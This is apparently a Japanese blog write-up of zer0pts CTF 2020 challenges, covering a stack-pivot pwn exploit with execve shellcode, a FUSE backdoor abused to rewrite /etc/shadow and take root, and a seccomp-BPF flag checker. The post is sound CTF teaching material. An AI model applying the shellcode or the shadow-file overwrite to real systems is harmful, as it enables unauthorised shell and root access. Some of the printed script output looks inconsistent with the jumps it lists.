Satoooonの物置

雑多に色々と何かをしている

zer0pts CTF 2020 Writeup

zer0pts CTF に参加して Welcome, Survey 以外を解いた454チーム中81位でした。

Not Beginner's Stack [pwn/warmup 81pts 162solves]

global _start
section .text

%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
  mov ecx, [__stack_depth]
  mov qword [__stack_shadow + rcx * 8], %%return_address
  inc dword [__stack_depth]
;; goto function
  jmp %1
  %%return_address:
%endmacro

%macro ret 0
;; goto __stack_shadow[--__stack_depth];
  dec dword [__stack_depth]
  mov ecx, [__stack_depth]
  jmp qword [__stack_shadow + rcx * 8]
%endmacro

_start:
  call notvuln
  call exit

notvuln:
;; char buf[0x100];
  enter 0x100, 0
;; vuln();
  call vuln
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

read:
  xor eax, eax
  syscall
  ret

write:
  xor eax, eax
  inc eax
  syscall
  ret

exit:
  mov eax, 60
  syscall
  hlt
  
section .data
msg_data:
  db "Data: "
__stack_depth:
  dd 0

section .bss
__stack_shadow:
  resb 1024
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

BOFがありますが、return address がスタックではなくbssにある_stack_shadowに積まれるのでスタック内では return address を書き替えられません。しかし、rbpはスタックに積まれているのでBOFで操作することができます。

vulnの後にあるnotvulnで[rbp - 0x100]を書き替えることが可能なので、これで_stack_shadowを書き替えましょう。NX disabledなのでシェルコードを実行してシェルを取ります。

from pwn import *
import sys

context.terminal = "wterminal"
context.arch = "amd64"

chall = "./chall"
nc = "nc pwn.ctf.zer0pts.com 9011"

if len(sys.argv) > 1 and sys.argv[1] == "debug":
    io = gdb.debug(chall, '''
    b *0x4001ec
    c
''')
elif len(sys.argv) > 1 and sys.argv[1] == "remote":
    _, domain, port = nc.split()
    io = remote(domain, int(port))
else:
    io = process(chall)

chall = ELF(chall)

payload = b""
payload += b"A" * 0x100
payload += p64(chall.sym["__stack_shadow"]+0x100)  # rbp

io.sendlineafter("Data: ", payload)

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

payload = b""
payload += p64(0)
payload += p64(chall.sym["__stack_shadow"]+0x10)
payload += shellcode

io.sendlineafter("Data: ", payload)

io.interactive()

zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}

infected [reversing/warmup 96pts 109solves]

指定されたサーバーに接続するとシェルが与えられるので、`/dev/backdoorを使って/rootにあるフラグを読んで下さいという問題です。

この/dev/backdoorを生成するバイナリが渡されるのでこれをCutterで解析します。

backdoor_writeという関数が怪しそうです。名前から推測するにデバイスに書き込む時に使われるハンドラでしょうか。

// WARNING: Could not reconcile some variable overlaps

void backdoor_write(int64_t arg1, char *arg2, int64_t arg3, int64_t arg4, int64_t arg5)
{
    int32_t iVar1;
    undefined4 uVar2;
    int64_t iVar3;
    int64_t iVar4;
    int64_t arg1_00;
    int64_t iVar5;
    int64_t in_FS_OFFSET;
    int64_t var_e8h;
    int64_t var_e0h;
    int64_t n;
    char *src;
    int64_t var_c8h;
    char *ptr;
    char *var_b8h;
    char *path;
    char *str;
    int64_t var_a0h;
    int64_t var_88h;
    int64_t canary;
    
    canary = *(int64_t *)(in_FS_OFFSET + 0x28);
    iVar3 = strndup(arg2, arg3, arg3);
    if (iVar3 == 0) {
        fuse_reply_err(arg1, 0x16);
        goto code_r0x00000c8c;
    }
    # 0xe20: ":"
    iVar4 = strtok(iVar3, 0xe20);
    arg1_00 = strtok(0, 0xe20);
    iVar5 = strtok(0, 0xe20);
    if (((iVar4 == 0) || (arg1_00 == 0)) || (iVar5 == 0)) {
        fuse_reply_err(arg1, 0x16);
    } else {
        # 0xe22: "b4ckd00r"
        iVar1 = strncmp(iVar4, 0xe22, 8);
        if (iVar1 == 0) {
            stat64(arg1_00, (int64_t)&var_a0h);
            if (((uint32_t)var_88h & 0xf000) == 0x8000) {
                uVar2 = atoi(iVar5);
                iVar1 = chmod(arg1_00, uVar2, uVar2);
                if (iVar1 == 0) {
                    fuse_reply_write(arg1, arg3, arg3);
                    goto code_r0x00000c7d;
                }
            }
            fuse_reply_err(arg1, 0x16);
        } else {
            fuse_reply_err(arg1, 0x16);
        }
    }
code_r0x00000c7d:
    free(iVar3);
code_r0x00000c8c:
    if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        __stack_chk_fail();
    }
    return;
}

処理を見ていくとb4ckd00r:/file/path:permissionという文字列を書き込めば、ファイルのパーミッションを変更してくれるプログラムということがわかります。

ただし((uint32_t)var_88h & 0xf000) == 0x8000の部分で通常ファイルしか権限を変更できないよう制限されています。

var_88hはstat構造体のオフセット、0x8000man statを見ると理解できます。

/rootを直接変更することができないので、/rootの権限を変更するのではなくroot権限を取りに行く方針で進めます。

まずecho -n "b4ckd00r:/etc/shadow:511" > /dev/backdoor/etc/shadowを書き込み可能にします。

次にクライアントの方でopenssl -1 -salt hogeで好きなパスワードを使いハッシュを生成します。

最後にecho 'root:hash:::::::' > /etc/shadowで生成したハッシュを使い/etc/shadowに書き込むとrootのパスワードが先ほど使ったパスワードになります。

その後login rootをしてroot権限を取ればフラグが見れます。

zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}

syscall 777 [reversing 124pts 61solves]

フラグをチェックするバイナリが渡されます。Cutterで見ていきます。

int32_t main(undefined8 placeholder_0, undefined8 placeholder_1, char **envp)
{
    int32_t iVar1;
    int32_t *piVar2;
    int64_t iVar3;
    undefined4 *puVar4;
    int32_t iVar5;
    int64_t in_FS_OFFSET;
    undefined4 auStack104 [14];
    int64_t iStack48;
    
    iVar3 = 0xe;
    iVar5 = 1;
    iStack48 = *(int64_t *)(in_FS_OFFSET + 0x28);
    puVar4 = auStack104;
    while (iVar3 != 0) {
        iVar3 = iVar3 + -1;
        *puVar4 = 0;
        puVar4 = puVar4 + 1;
    }
    __printf_chk(1, "FLAG: ");
    iVar1 = __isoc99_scanf("%55s", auStack104);
    if (iVar1 == 1) {
        iVar3 = 1;
        do {
            iVar5 = (int32_t)iVar3;
            syscall(0x309, auStack104[iVar3 + -1], auStack104[iVar5 % 0xe], auStack104[(iVar5 + 1) % 0xe], 
            auStack104[(iVar5 + 2) % 0xe]);
            piVar2 = (int32_t *)__errno_location();
            iVar5 = *piVar2;
            if (iVar5 == 1) {
                puts("Wrong...");
                goto code_r0x0000091f;
            }
            iVar3 = iVar3 + 1;
        } while (iVar3 != 0xf);
        iVar5 = 0;
        puts("Correct!");
    }
code_r0x0000091f:
    if (iStack48 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return iVar5;
}

フラグを4文字ずつ4個分、ループで一つずつずらしながら判定しています。

しかし、777番という通常では有りえないsyscallで判定処理をしていて中身がわかりません。どこか別の関数に処理がないでしょうか。

見ていくとentry.init0に気になる処理がありました。

void entry.init1(void)
{
    int32_t iVar1;
    int64_t iVar2;
    undefined4 *puVar3;
    undefined4 *puVar4;
    int64_t in_FS_OFFSET;
    uint8_t uVar5;
    undefined2 auStack1672 [4];
    undefined4 *puStack1664;
    undefined4 auStack1656 [410];
    int64_t iStack16;
    
    // [14] -r-x section size 786 named .text
    uVar5 = 0;
    iStack16 = *(int64_t *)(in_FS_OFFSET + 0x28);
    iVar1 = prctl(0x26, 1, 0, 0, 0);
    if (iVar1 == 0) {
        puStack1664 = auStack1656;
        iVar2 = 0x19a;
        auStack1672[0] = 0xcd;
        puVar3 = (undefined4 *)0xb00;
        puVar4 = auStack1656;
        while (iVar2 != 0) {
            iVar2 = iVar2 + -1;
            *puVar4 = *puVar3;
            puVar3 = puVar3 + (uint64_t)uVar5 * -2 + 1;
            puVar4 = puVar4 + (uint64_t)uVar5 * -2 + 1;
        }
        iVar1 = prctl(0x16, 2, auStack1672);
        if (iVar1 == 0) {
            if (iStack16 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
                __stack_chk_fail();
            }
            return;
        }
    }
    // WARNING: Subroutine does not return
    exit(1);
}

prctl.hを見ながら調べると、一回目ではprctl(PR_SET_NO_NEW_PRIVS, 1)、二回目ではprctl(PR_SET_SECCOMP, SECCOMP_GET_ACTION_AVAIL, auStack1672)という処理をしています。

auStack1672がどうなってるかはよくわかりませんでしたが、0xb00から0x19a*4分スタックに読み込んでる処理が見えるのでそのデータを抜き出してみます。

「PR_SET_SECCOMP」で検索するとseccompではBPFという言語?を使ってフィルタリングプログラムを記述するようです。となると先程のデータはbpfのバイナリでしょうか?「seccomp bpf disassembler」で検索すると seccomp-toolsが出てくるのでこれを使い抜き出したデータを逆アセンブルしてみます。

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0xc8 0x00000309  if (A != 0x309) goto 0202
 0002: 0x20 0x00 0x00 0x00000010  A = args[0]
 0003: 0x54 0x00 0x00 0x000000ff  A &= 0xff
 0004: 0x35 0xc7 0x00 0x00000080  if (A >= 128) goto 0204
 0005: 0x20 0x00 0x00 0x00000010  A = args[0]
 0006: 0x74 0x00 0x00 0x00000008  A >>= 8
 0007: 0x54 0x00 0x00 0x000000ff  A &= 0xff
 0008: 0x35 0xc3 0x00 0x00000080  if (A >= 128) goto 0204
 0009: 0x20 0x00 0x00 0x00000010  A = args[0]
 0010: 0x74 0x00 0x00 0x00000010  A >>= 16
 0011: 0x54 0x00 0x00 0x000000ff  A &= 0xff
 0012: 0x35 0xbf 0x00 0x00000080  if (A >= 128) goto 0204
 0013: 0x20 0x00 0x00 0x00000010  A = args[0]
 0014: 0x74 0x00 0x00 0x00000018  A >>= 24
 0015: 0x54 0x00 0x00 0x000000ff  A &= 0xff
 0016: 0x35 0xbb 0x00 0x00000080  if (A >= 128) goto 0204
 0017: 0x20 0x00 0x00 0x00000010  A = args[0]
 0018: 0x02 0x00 0x00 0x00000000  mem[0] = A
 0019: 0x20 0x00 0x00 0x00000018  A = args[1]
 0020: 0x61 0x00 0x00 0x00000000  X = mem[0]
 0021: 0xac 0x00 0x00 0x00000000  A ^= X
 0022: 0x02 0x00 0x00 0x00000001  mem[1] = A
 0023: 0x20 0x00 0x00 0x00000020  A = args[2]
 0024: 0x61 0x00 0x00 0x00000001  X = mem[1]
 0025: 0xac 0x00 0x00 0x00000000  A ^= X
 0026: 0x02 0x00 0x00 0x00000002  mem[2] = A
 0027: 0x20 0x00 0x00 0x00000028  A = args[3]
 0028: 0x61 0x00 0x00 0x00000002  X = mem[2]
 0029: 0xac 0x00 0x00 0x00000000  A ^= X
 0030: 0x02 0x00 0x00 0x00000003  mem[3] = A
 0031: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0032: 0x61 0x00 0x00 0x00000001  X = mem[1]
 0033: 0x0c 0x00 0x00 0x00000000  A += X
 0034: 0x61 0x00 0x00 0x00000002  X = mem[2]
 0035: 0x0c 0x00 0x00 0x00000000  A += X
 0036: 0x61 0x00 0x00 0x00000003  X = mem[3]
 0037: 0x0c 0x00 0x00 0x00000000  A += X
 0038: 0x02 0x00 0x00 0x00000004  mem[4] = A
 0039: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0040: 0x61 0x00 0x00 0x00000001  X = mem[1]
 0041: 0x1c 0x00 0x00 0x00000000  A -= X
 0042: 0x61 0x00 0x00 0x00000002  X = mem[2]
 0043: 0x0c 0x00 0x00 0x00000000  A += X
 0044: 0x61 0x00 0x00 0x00000003  X = mem[3]
 0045: 0x1c 0x00 0x00 0x00000000  A -= X
 0046: 0x02 0x00 0x00 0x00000005  mem[5] = A
 0047: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0048: 0x61 0x00 0x00 0x00000001  X = mem[1]
 0049: 0x0c 0x00 0x00 0x00000000  A += X
 0050: 0x61 0x00 0x00 0x00000002  X = mem[2]
 0051: 0x1c 0x00 0x00 0x00000000  A -= X
 0052: 0x61 0x00 0x00 0x00000003  X = mem[3]
 0053: 0x1c 0x00 0x00 0x00000000  A -= X
 0054: 0x02 0x00 0x00 0x00000006  mem[6] = A
 0055: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0056: 0x61 0x00 0x00 0x00000001  X = mem[1]
 0057: 0x1c 0x00 0x00 0x00000000  A -= X
 0058: 0x61 0x00 0x00 0x00000002  X = mem[2]
 0059: 0x1c 0x00 0x00 0x00000000  A -= X
 0060: 0x61 0x00 0x00 0x00000003  X = mem[3]
 0061: 0x0c 0x00 0x00 0x00000000  A += X
 0062: 0x02 0x00 0x00 0x00000007  mem[7] = A
 0063: 0x60 0x00 0x00 0x00000004  A = mem[4]
 0064: 0x61 0x00 0x00 0x00000005  X = mem[5]
 0065: 0x4c 0x00 0x00 0x00000000  A |= X
 0066: 0x02 0x00 0x00 0x00000008  mem[8] = A
 0067: 0x60 0x00 0x00 0x00000006  A = mem[6]
 0068: 0x61 0x00 0x00 0x00000007  X = mem[7]
 0069: 0x5c 0x00 0x00 0x00000000  A &= X
 0070: 0x61 0x00 0x00 0x00000008  X = mem[8]
 0071: 0xac 0x00 0x00 0x00000000  A ^= X
 0072: 0x02 0x00 0x00 0x00000008  mem[8] = A
 0073: 0x60 0x00 0x00 0x00000005  A = mem[5]
 0074: 0x61 0x00 0x00 0x00000006  X = mem[6]
 0075: 0x4c 0x00 0x00 0x00000000  A |= X
 0076: 0x02 0x00 0x00 0x00000009  mem[9] = A
 0077: 0x60 0x00 0x00 0x00000007  A = mem[7]
 0078: 0x61 0x00 0x00 0x00000004  X = mem[4]
 0079: 0x5c 0x00 0x00 0x00000000  A &= X
 0080: 0x61 0x00 0x00 0x00000009  X = mem[9]
 0081: 0xac 0x00 0x00 0x00000000  A ^= X
 0082: 0x02 0x00 0x00 0x00000009  mem[9] = A
 0083: 0x60 0x00 0x00 0x00000006  A = mem[6]
 0084: 0x61 0x00 0x00 0x00000007  X = mem[7]
 0085: 0x4c 0x00 0x00 0x00000000  A |= X
 0086: 0x02 0x00 0x00 0x0000000a  mem[10] = A
 0087: 0x60 0x00 0x00 0x00000004  A = mem[4]
 0088: 0x61 0x00 0x00 0x00000005  X = mem[5]
 0089: 0x5c 0x00 0x00 0x00000000  A &= X
 0090: 0x61 0x00 0x00 0x0000000a  X = mem[10]
 0091: 0xac 0x00 0x00 0x00000000  A ^= X
 0092: 0x02 0x00 0x00 0x0000000a  mem[10] = A
 0093: 0x60 0x00 0x00 0x00000007  A = mem[7]
 0094: 0x61 0x00 0x00 0x00000004  X = mem[4]
 0095: 0x4c 0x00 0x00 0x00000000  A |= X
 0096: 0x02 0x00 0x00 0x0000000b  mem[11] = A
 0097: 0x60 0x00 0x00 0x00000005  A = mem[5]
 0098: 0x61 0x00 0x00 0x00000006  X = mem[6]
 0099: 0x5c 0x00 0x00 0x00000000  A &= X
 0100: 0x61 0x00 0x00 0x0000000b  X = mem[11]
 0101: 0xac 0x00 0x00 0x00000000  A ^= X
 0102: 0x02 0x00 0x00 0x0000000b  mem[11] = A
 0103: 0x60 0x00 0x00 0x00000008  A = mem[8]
 0104: 0x15 0x25 0x00 0xf5ffc1f6  if (A == 4127179254) goto 0142
 0105: 0x15 0x14 0x00 0x7344aeee  if (A == 1933881070) goto 0126
 0106: 0x15 0x1f 0x00 0xfda6effe  if (A == 4255576062) goto 0138
 0107: 0x15 0x0a 0x00 0x638f7ca2  if (A == 1670347938) goto 0118
 0108: 0x15 0x0f 0x00 0xa2285400  if (A == 2720551936) goto 0124
 0109: 0x15 0x1a 0x00 0x8990fefe  if (A == 2307981054) goto 0136
 0110: 0x15 0x1d 0x00 0x9f576dd4  if (A == 2673307092) goto 0140
 0111: 0x15 0x0a 0x00 0xf6b9ebe2  if (A == 4139379682) goto 0122
 0112: 0x15 0x0f 0x00 0xf9e28bee  if (A == 4192373742) goto 0128
 0113: 0x15 0x14 0x00 0x1f9b8fb4  if (A == 530288564) goto 0134
 0114: 0x15 0x1d 0x00 0xefec86de  if (A == 4025255646) goto 0144
 0115: 0x15 0x0e 0x00 0xdf60093a  if (A == 3747612986) goto 0130
 0116: 0x15 0x03 0x00 0xb8af3fbe  if (A == 3098492862) goto 0120
 0117: 0x15 0x0e 0x00 0x7f01bbcc  if (A == 2130820044) goto 0132
 0118: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0119: 0x15 0x32 0x54 0xf1cf5c2e  if (A == 4056898606) goto 0170 else goto 0204
 0120: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0121: 0x15 0x20 0x52 0xb6af7dbe  if (A == 3064954302) goto 0154 else goto 0204
 0122: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0123: 0x15 0x18 0x50 0xd6b9bde2  if (A == 3602496994) goto 0148 else goto 0204
 0124: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0125: 0x15 0x22 0x4e 0x60fad508  if (A == 1627051272) goto 0160 else goto 0204
 0126: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0127: 0x15 0x22 0x4c 0x77600ede  if (A == 2002783966) goto 0162 else goto 0204
 0128: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0129: 0x15 0x1c 0x4a 0xf3b68ece  if (A == 4088827598) goto 0158 else goto 0204
 0130: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0131: 0x15 0x24 0x48 0x4fe90926  if (A == 1340672294) goto 0168 else goto 0204
 0132: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0133: 0x15 0x0c 0x46 0x7e1933ac  if (A == 2115580844) goto 0146 else goto 0204
 0134: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0135: 0x15 0x24 0x44 0x1f9b8fb4  if (A == 530288564) goto 0172 else goto 0204
 0136: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0137: 0x15 0x1c 0x42 0xcb94e7da  if (A == 3415533530) goto 0166 else goto 0204
 0138: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0139: 0x15 0x0a 0x40 0xb9c2adfe  if (A == 3116543486) goto 0150 else goto 0204
 0140: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0141: 0x15 0x0e 0x3e 0x0f01b94c  if (A == 251771212) goto 0156 else goto 0204
 0142: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0143: 0x15 0x14 0x3c 0xf5efe5f6  if (A == 4126139894) goto 0164 else goto 0204
 0144: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0145: 0x15 0x06 0x3a 0xa7ad8d4e  if (A == 2813168974) goto 0152 else goto 0204
 0146: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0147: 0x15 0x2e 0x38 0x7efd33a4  if (A == 2130523044) goto 0194 else goto 0204
 0148: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0149: 0x15 0x24 0x36 0xd6f33dda  if (A == 3606265306) goto 0186 else goto 0204
 0150: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0151: 0x15 0x26 0x34 0xbbdaa5e6  if (A == 3151668710) goto 0190 else goto 0204
 0152: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0153: 0x15 0x22 0x32 0x24a7ad2e  if (A == 614968622) goto 0188 else goto 0204
 0154: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0155: 0x15 0x2a 0x30 0xb7fdfcbe  if (A == 3086875838) goto 0198 else goto 0204
 0156: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0157: 0x15 0x10 0x2e 0x0f01b94c  if (A == 251771212) goto 0174 else goto 0204
 0158: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0159: 0x15 0x12 0x2c 0xb3bdaed6  if (A == 3015552726) goto 0178 else goto 0204
 0160: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0161: 0x15 0x22 0x2a 0x60ffd7bc  if (A == 1627379644) goto 0196 else goto 0204
 0162: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0163: 0x15 0x0c 0x28 0x5f785fd2  if (A == 1601724370) goto 0176 else goto 0204
 0164: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0165: 0x15 0x12 0x26 0x27aeff3e  if (A == 665780030) goto 0184 else goto 0204
 0166: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0167: 0x15 0x0e 0x24 0xc39dc1ca  if (A == 3281895882) goto 0182 else goto 0204
 0168: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0169: 0x15 0x1e 0x22 0x4d8f1f86  if (A == 1301225350) goto 0200 else goto 0204
 0170: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0171: 0x15 0x14 0x20 0x99ff4c6e  if (A == 2583645294) goto 0192 else goto 0204
 0172: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0173: 0x15 0x06 0x1e 0xe97d7d54  if (A == 3917315412) goto 0180 else goto 0204
 0174: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0175: 0x15 0x1b 0x1c 0x9f576dd4  if (A == 2673307092) goto 0203 else goto 0204
 0176: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0177: 0x15 0x19 0x1a 0x5b5cffe2  if (A == 1532821474) goto 0203 else goto 0204
 0178: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0179: 0x15 0x17 0x18 0xb9e9abf6  if (A == 3119098870) goto 0203 else goto 0204
 0180: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0181: 0x15 0x15 0x16 0xe97d7d54  if (A == 3917315412) goto 0203 else goto 0204
 0182: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0183: 0x15 0x13 0x14 0x8199d8ee  if (A == 2174343406) goto 0203 else goto 0204
 0184: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0185: 0x15 0x11 0x12 0x27bedb3e  if (A == 666819390) goto 0203 else goto 0204
 0186: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0187: 0x15 0x0f 0x10 0xf6f36bda  if (A == 4143147994) goto 0203 else goto 0204
 0188: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0189: 0x15 0x0d 0x0e 0x6ce6a6be  if (A == 1827055294) goto 0203 else goto 0204
 0190: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0191: 0x15 0x0b 0x0c 0xffbee7e6  if (A == 4290701286) goto 0203 else goto 0204
 0192: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0193: 0x15 0x09 0x0a 0x0bbf6ce2  if (A == 197094626) goto 0203 else goto 0204
 0194: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0195: 0x15 0x07 0x08 0x7fe5bbc4  if (A == 2145762244) goto 0203 else goto 0204
 0196: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0197: 0x15 0x05 0x06 0xa22d56b4  if (A == 2720880308) goto 0203 else goto 0204
 0198: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0199: 0x15 0x03 0x04 0xb9fdbebe  if (A == 3120414398) goto 0203 else goto 0204
 0200: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0201: 0x15 0x01 0x02 0xdd061f9a  if (A == 3708166042) goto 0203 else goto 0204
 0202: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0203: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
 0204: 0x06 0x00 0x00 0x00050001  return ERRNO(1)

良い感じのプログラムが出てきました。恐らくargsはsyscallで渡される引数でしょう。

mem[8],mem[9],mem[10],mem[11]が特定の数値になっているかで判定しているようなので、とりあえずそのペアを抜き出してみます。

import re

with open("asm") as f:
    asm = f.read().split("\n")

result = []

for i in range(106, 120):
    print(asm[i])
    match = re.search(R"A == (\d+)\) goto (\d+)", asm[i]).groups()
    m8 = int(match[0], 10)
    next_line = int(match[1], 10)

    print(asm[next_line])
    print(asm[next_line+1])
    match = re.search(R"A == (\d+)\) goto (\d+)", asm[next_line+1]).groups()
    m9 = int(match[0], 10)
    next_line = int(match[1], 10)

    print(asm[next_line])
    print(asm[next_line+1])
    match = re.search(R"A == (\d+)\) goto (\d+)", asm[next_line+1]).groups()
    m10 = int(match[0], 10)
    next_line = int(match[1], 10)

    print(asm[next_line])
    print(asm[next_line+1])
    match = re.search(R"A == (\d+)\) goto (\d+)", asm[next_line+1]).groups()
    m11 = int(match[0], 10)
    next_line = int(match[1], 10)

    result.append((m8, m9, m10, m11))

    print()

print(result)
print(len(result))
 0104: 0x15 0x25 0x00 0xf5ffc1f6  if (A == 4127179254) goto 0142
 0140: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0141: 0x15 0x0e 0x3e 0x0f01b94c  if (A == 251771212) goto 0156 else goto 0204
 0154: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0155: 0x15 0x2a 0x30 0xb7fdfcbe  if (A == 3086875838) goto 0198 else goto 0204
 0196: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0197: 0x15 0x05 0x06 0xa22d56b4  if (A == 2720880308) goto 0203 else goto 0204

 0105: 0x15 0x14 0x00 0x7344aeee  if (A == 1933881070) goto 0126
 0124: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0125: 0x15 0x22 0x4e 0x60fad508  if (A == 1627051272) goto 0160 else goto 0204
 0158: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0159: 0x15 0x12 0x2c 0xb3bdaed6  if (A == 3015552726) goto 0178 else goto 0204
 0176: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0177: 0x15 0x19 0x1a 0x5b5cffe2  if (A == 1532821474) goto 0203 else goto 0204

 0106: 0x15 0x1f 0x00 0xfda6effe  if (A == 4255576062) goto 0138
 0136: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0137: 0x15 0x1c 0x42 0xcb94e7da  if (A == 3415533530) goto 0166 else goto 0204
 0164: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0165: 0x15 0x12 0x26 0x27aeff3e  if (A == 665780030) goto 0184 else goto 0204
 0182: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0183: 0x15 0x13 0x14 0x8199d8ee  if (A == 2174343406) goto 0203 else goto 0204

 0107: 0x15 0x0a 0x00 0x638f7ca2  if (A == 1670347938) goto 0118
 0116: 0x15 0x03 0x00 0xb8af3fbe  if (A == 3098492862) goto 0120
 0117: 0x15 0x0e 0x00 0x7f01bbcc  if (A == 2130820044) goto 0132
 0130: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0131: 0x15 0x24 0x48 0x4fe90926  if (A == 1340672294) goto 0168 else goto 0204
 0166: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0167: 0x15 0x0e 0x24 0xc39dc1ca  if (A == 3281895882) goto 0182 else goto 0204

 0108: 0x15 0x0f 0x00 0xa2285400  if (A == 2720551936) goto 0124
 0122: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0123: 0x15 0x18 0x50 0xd6b9bde2  if (A == 3602496994) goto 0148 else goto 0204
 0146: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0147: 0x15 0x2e 0x38 0x7efd33a4  if (A == 2130523044) goto 0194 else goto 0204
 0192: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0193: 0x15 0x09 0x0a 0x0bbf6ce2  if (A == 197094626) goto 0203 else goto 0204

 0109: 0x15 0x1a 0x00 0x8990fefe  if (A == 2307981054) goto 0136
 0134: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0135: 0x15 0x24 0x44 0x1f9b8fb4  if (A == 530288564) goto 0172 else goto 0204
 0170: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0171: 0x15 0x14 0x20 0x99ff4c6e  if (A == 2583645294) goto 0192 else goto 0204
 0190: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0191: 0x15 0x0b 0x0c 0xffbee7e6  if (A == 4290701286) goto 0203 else goto 0204

 0110: 0x15 0x1d 0x00 0x9f576dd4  if (A == 2673307092) goto 0140
 0138: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0139: 0x15 0x0a 0x40 0xb9c2adfe  if (A == 3116543486) goto 0150 else goto 0204
 0148: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0149: 0x15 0x24 0x36 0xd6f33dda  if (A == 3606265306) goto 0186 else goto 0204
 0184: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0185: 0x15 0x11 0x12 0x27bedb3e  if (A == 666819390) goto 0203 else goto 0204

 0111: 0x15 0x0a 0x00 0xf6b9ebe2  if (A == 4139379682) goto 0122
 0120: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0121: 0x15 0x20 0x52 0xb6af7dbe  if (A == 3064954302) goto 0154 else goto 0204
 0152: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0153: 0x15 0x22 0x32 0x24a7ad2e  if (A == 614968622) goto 0188 else goto 0204
 0186: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0187: 0x15 0x0f 0x10 0xf6f36bda  if (A == 4143147994) goto 0203 else goto 0204

 0112: 0x15 0x0f 0x00 0xf9e28bee  if (A == 4192373742) goto 0128
 0126: 0x60 0x00 0x00 0x00000009  A = mem[9]
